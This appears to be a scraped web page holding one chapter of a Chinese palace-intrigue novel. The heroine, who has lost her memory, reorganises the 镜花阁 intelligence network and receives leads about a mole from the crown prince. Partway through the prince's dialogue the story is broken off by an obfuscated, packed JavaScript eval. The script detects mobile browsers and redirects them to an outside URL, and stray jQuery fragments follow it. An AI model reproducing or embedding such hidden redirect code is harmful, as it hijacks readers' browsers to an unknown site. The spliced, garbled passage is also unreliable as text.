默认冷灰
24号文字
方正启体

115. 为她结尾

作者:所善兮本书字数:K更新时间:
    为避开不必要的关注,苻瑾瑶换上一身月白布裙,将长发束成简单的发髻,只插一根素银簪子,看上去与上锦街巷里的寻常女子别无二致。


    她没有带侍卫,只揣着一枚镜花阁的玄铁令牌,那是从阁主房间的暗格里找到的,暗卫说凭此令牌可调动阁中所有据点。


    虽然暗卫对于她这个提议没有什么担忧,但是苻瑾瑶失忆这个事情并没有传出来,所以苻瑾瑶自己也没有意识到。


    这样的自己是缺少自保能力的。


    她首先就去了城南的“锦绣庄”。


    这里表面是售卖绫罗绸缎的商铺,实则是镜花阁收集达官显贵情报的核心据点。


    刚踏入店门,就听见账房先生与一名伙计的争执声:“城西王御史家的绸缎定金,你怎么敢拖延三日不交?若是误了阁中与户部的对账单,仔细你的皮!”


    伙计脸色涨红:“可那王御史家的管家说......”话未说完,就被账房先生厉声打断。


    苻瑾瑶抬手示意掌柜不必惊动旁人,悄悄走到后堂。


    透过门缝,她看见三名黑衣汉子正围着一个穿青布衫的男子,男子怀里紧紧抱着一个锦盒,浑身发抖:“我真的没看见是谁换了货!那批绣着暗纹的绸缎,明明昨晚还在库房......”


    “少装糊涂!”为首的黑衣人头目冷笑:“这批货是要送进东宫的,上面绣着的是镜花阁的传信暗纹,若是出了差错,你我都得掉脑袋!”


    苻瑾瑶推门而入,玄铁令牌轻轻放在桌上,发出沉闷的声响:“都停手。”


    所有人瞬间噤声,看清令牌后齐齐躬身行礼:“参见主事!”


    她走到那名青布衫男子面前,目光扫过他磨破的袖口和沾着泥土的鞋尖:“你是库房看守?昨晚库房可有异常?”


    男子哆哆嗦嗦答道:“后半夜听见响动,追出去却只看见个穿灰衣的影子,等回来就发现货被换了!”


    苻瑾瑶指了指他怀里的锦盒:“打开看看。”


    盒中是一批普通绸缎,边角却绣着一朵极小的、歪歪扭扭的黑色水仙。


    这是镜花阁内部“货已被动”的警示标记。


    “不是外人动的手。”苻瑾瑶笃定地说:“灰衣是阁中暗卫的常服,歪扭的水仙纹是学徒才会绣的标记。去查最近三天新入阁的学徒,尤其是负责库房洒扫的。”


    头目恍然大悟,立刻带人去查。


    账房先生趁机上前,递上账本:“主事,最近一月有三家据点的款项延迟上交,说是‘等阁主指令’。”


    苻瑾瑶微微皱眉,阁主太久没有露面了,部分据点已出现离心苗头。


    ——


    午后,苻瑾瑶去了城西的“墨香书坊”,这里是传递江湖情报的据点。


    刚进店就看见掌柜正对着一封密信发愁。


    见她来忙将密信呈上:“主事,这是从漠北传来的密报,说西夜边境有不明势力聚集,可密信的火漆印是完好的,里面的字条却少了半张。”


    苻瑾瑶接过密信,指尖摩挲着火漆印。


    确是镜花阁的专用印鉴,可信纸边缘有细微的裁痕,不像是意外破损。


    她忽然注意到掌柜的指甲缝里有墨渍,而密信上的字迹与掌柜账本上的字迹隐隐相似。


    “这密信是你先拆的?”她问道。


    掌柜脸色一白,慌忙跪地:“属下该死!只是好奇……”


    “好奇不是错,但坏了阁中规矩就是死罪。”苻瑾瑶语气冷淡,却并未真的降罪:“去将漠北暗线的联络方式给我,再去总阁自己领罚。”


    掌柜连连磕头谢恩。


    苻瑾瑶看着窗外往来的行人,心中多了几分了解。


    虽说镜花阁的管理一环扣一环,但是部分据点主事权力过大,已敢擅自破坏规矩。


    ——


    傍晚时分,苻瑾瑶来到城北的码头货栈,这里是镜花阁的货运中枢,负责转运情报与物资。


    刚靠近就听见争吵声,一群穿官服的人正围着货栈伙计:“奉京兆尹令,这批货涉嫌私藏军械,全部扣下!”


    伙计急得满头大汗:“这是镜花阁的货,你们不能动!”


    为首的官员冷笑:“就算是太子的货,我们也照扣不误!”


    苻瑾瑶走上前,将令牌亮给官员看:“京兆尹的手谕呢?”官员支支吾吾说不出话。


    原来,是有人故意刁难,想试探镜花阁的底线,是因为听说了镜花阁易主了吗?不过现在看对面看自己的神色,这个扶桑郡主的名号也是很好用的。


    “去东宫传句话,就说扶桑郡主在码头遇阻。”


    她对身后赶来的暗卫吩咐道,随即转向官员:“半个时辰内,我要见到京兆尹亲自来赔罪,否则——”


    她顿了顿,目光锐利如刀:“明天一早,你贪墨漕运银两的证据,就会出现在陛下的御案上。”官员脸色骤变,连滚带爬地去传话。


    货栈管事擦着冷汗上前:“主事,最近半月,码头已有三批货被刁难,都是些小官小吏,像是故意找茬。”


    苻瑾瑶点了点头没有多说什么。


    从如今的情况来看,阁主失踪的消息可能已泄露,而且,有人想趁着这次镜花阁易主的机会,来削弱镜花阁的势力。


    夜色渐浓时,苻瑾瑶回到镜花阁总阁。


    她随意地拿起了桌上的茶盏,窗外的上锦已亮起万家灯火。


    镜花阁的强势显而易见,仅凭一枚令牌就能震慑各方,连京兆尹都要忌惮三分。


    可潜藏的问题也同样棘手:据点离心、规矩松弛、外敌窥探。


    ——


    次日清晨,镜花阁总阁的议事厅内已坐满各据点主事。


    苻瑾瑶依旧是一身素衣,却手持玄铁令牌立于主位,目光扫过下方垂首的众人时,自带一股慑人的气势:“昨日查访三大据点,问题百出,锦绣庄延迟交账、墨香书坊私拆密信、码头货栈遭人刁难却隐瞒不报,这就是你们所谓的‘守规矩’?”


    议事厅内鸦雀无声,没人敢抬头。


    苻瑾瑶将阁主留下的信拍在桌上:“阁主留下话,如今是本宫接手这镜花阁,也还请诸位多加担待。之前的账我可以不追究,但从今日起,新规矩必须刻在心里。”


    这就是传说中的,新官上任三把火吧。


    苻瑾瑶抬手示意暗卫宣读新规:各据点每日卯时上报前一日明细,延迟一次罚月钱半数,延迟三次直接撤换主事。


    密信传递需双人核验,私拆者杖责二十并逐出阁。


    遇外敌刁难需第一时间传信总阁,隐瞒者与失职同罪。


    新规宣读完毕,她看向墨香书坊的掌柜:“你私拆密信,按规矩该杖责,但念你是阁中老人,罚你去漠北暗线历练三月,戴罪立功,可服?”


    掌柜脸色发白,却连忙磕头:“谢主事开恩!”


    一旁码头货栈的管事主动起身:“属下隐瞒刁难之事,愿受罚。”


    苻瑾瑶点头:“罚你监管库房一月,每日盘点物资,明白你的职责有多重要。”


    整顿的第三日,苻瑾瑶正在核对锦绣庄补交的账目,暗卫突然来报:“太子殿下在阁外求见,说有关于码头刁难事件的重要线索。”


    她皱了皱眉,萧澈怎么会找到这里?


    虽不情愿,却也知道他若无事不会贸然前来,便让暗卫引他进来。


    萧澈今日是月白锦袍,领口处的墨竹倒是点睛之笔。


    只是手里多了个紫檀木盒,见她出来,先递过木盒:“这是京兆尹的供词,他承认是受前二皇子旧部指使,故意刁难镜花阁货栈,想逼你出面犯错。”


    他顿了顿,补充道:“我已让人将那几名旧部拿下,供词里还提到,他们在镜花阁安插了眼线,代号‘灰雀’。”


    苻瑾瑶打开木盒,供词上的字迹与码头官员的招供一致,而“灰雀”这个代号,她在锦绣庄的学徒名单里见过。


    她抬头看向萧澈,语气带着几分冷淡:“太子殿下倒是清闲,连我镜花阁的事都要插手。”


    “不是插手,是担心。”萧澈没在意她的态度,走到桌边看向她摊开的据点分布图:“你整顿据点时只注意了明面上的规矩,却没防着暗处的眼线。”


    他指向图上的城西区域:“墨香书坊附近的‘茶寮’,看似是中立之地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985327|186453||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,实则是前旧部的联络点,你查学徒时,不妨从常去茶寮的人入手。”


    苻瑾瑶沉默了一瞬,这些她确实不知道,也没有人同她细讲过,毕竟没有记忆,什么事情全靠她自己半猜半摸索。


    她确实只盯着阁内人员,没考虑到外围的联络点。


    注意到苻瑾瑶多了几分兴趣,萧澈勾了勾嘴角。


    他又指着账目上的一处红圈:“锦绣庄的绸缎生意,最近与西夜的商队有往来,你刚接手镜花阁,西夜那边未必知晓,最好让伽蓝的人帮忙核验商队身份,避免被兰乌旧部钻了空子。”


    这些都是她未曾考虑到的细节,既涉及暗线排查,又关联边境势力,比她只盯着内部整顿要周全得多。


    苻瑾瑶攥紧了手中的令牌,语气缓和了些:“你怎么知道这么多?”


    “你在码头与京兆尹对峙时,我便让人去查背后牵扯的势力。”萧澈的目光落在她眼底的红血丝上,声音放轻。


    “你这几日只睡两个时辰,镜花阁的事急不得,身子要紧。”他从袖中拿出一小罐药膏:“这是安神的药膏,睡前涂在太阳穴,能睡得安稳些。”


    苻瑾瑶看着那罐药膏,她没有接药膏,却点了点头:“供词和线索我收下了,谢了。”


    萧澈笑了笑,没再强求,只道:“若需要与伽蓝联络,随时找我,慕朝与西夜的盟约还作数。”他又想起了一些其他的细节,回头提醒:“‘灰雀’的惯用手法是在货物标签上刻小三角,你查账时留意一下。”


    萧澈刚将安神药膏放在桌案上,就听见苻瑾瑶的声音从身后传来,带着几分迟疑:“关于萧澄的事,我从镜花阁的旧档里翻到一些记录,可还有很多地方接不上,他当年拉拢的旧部名单残缺不全,天牢里他提到的‘周先生’,也只在密报里出现过一次。”


    萧澈转身时,正撞见她捧着一摞泛黄的密报站在窗边,阳光落在她微蹙的眉峰上,连带着那些繁杂的字迹都柔和了几分。


    他沉吟片刻,走到她身边,指尖点在密报上“周先生”的名字旁:“这位周砚是萧澄的授业恩师,曾任国子监司业,后来因年迈辞官,隐居在城南。你若想查,便去查吧,东宫的暗卫可以调给你用。”


    “不用。”苻瑾瑶立刻摇头,她不想再欠萧澈太多人情:“镜花阁的人手足够。”


    萧澈没再坚持,只是从袖中抽出一张折叠的纸条:“这是周砚的住址和常去的茶寮,他性子倔,若不肯开口,你可以提一句‘青梧书院的桂花糕’,那是他当年教萧澄时,最喜欢的点心。”


    苻瑾瑶接过纸条,指尖触到他温热的指腹,下意识缩回手,将纸条塞进袖中:“谢了。”


    萧澈看着她有些微微泛红的耳尖,眼底闪过一丝笑意:“万事小心,若遇危险,放信号箭,我会立刻赶来。”


    “你说的这些,我应该知道吗?”苻瑾瑶疑惑道。


    “这个嘛。”萧澈思索了片刻:“或许应该比我知道的更多,以前很多时候,你会选择去问陛下,而陛下一般都会告诉你,陛下一向很溺爱你。”


    说道最后,还酸了几分。


    苻瑾瑶眨巴了一下眼睛,声音有点干涩:“呃,好吧,谢谢。”


    送走萧澈后,苻瑾瑶立刻召集镜花阁的核心暗卫,领头的暗卫名芙蓉,是阁主的心腹,办事极为稳妥。


    “查到‘灰雀’的下落了吗?”苻瑾瑶将玄铁令牌放在桌案中央,令牌反射的光落在了她的眼眸之中。


    芙蓉躬身答道:“回主事,根据太子殿下提供的‘三角印记’线索,我们查到‘灰雀’常去城南的‘顺和布庄’,布庄的账房先生与他有过多次接触。只是昨日我们刚要动手,布庄突然失火,账房先生也不见了踪影。”


    “失火?”苻瑾瑶皱眉


    “是意外还是人为?”


    “人为。”


    芙蓉递上一块烧焦的木片,上面有明显的煤油灼烧痕迹:“我们在火场找到这个,是西夜的火折子样式,与兰乌旧部使用的一致。”


    苻瑾瑶站起身,目光落在墙上的上锦地图上:“顺和布庄离周砚的住址不到半里,这绝非巧合。备车,我们去城南。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)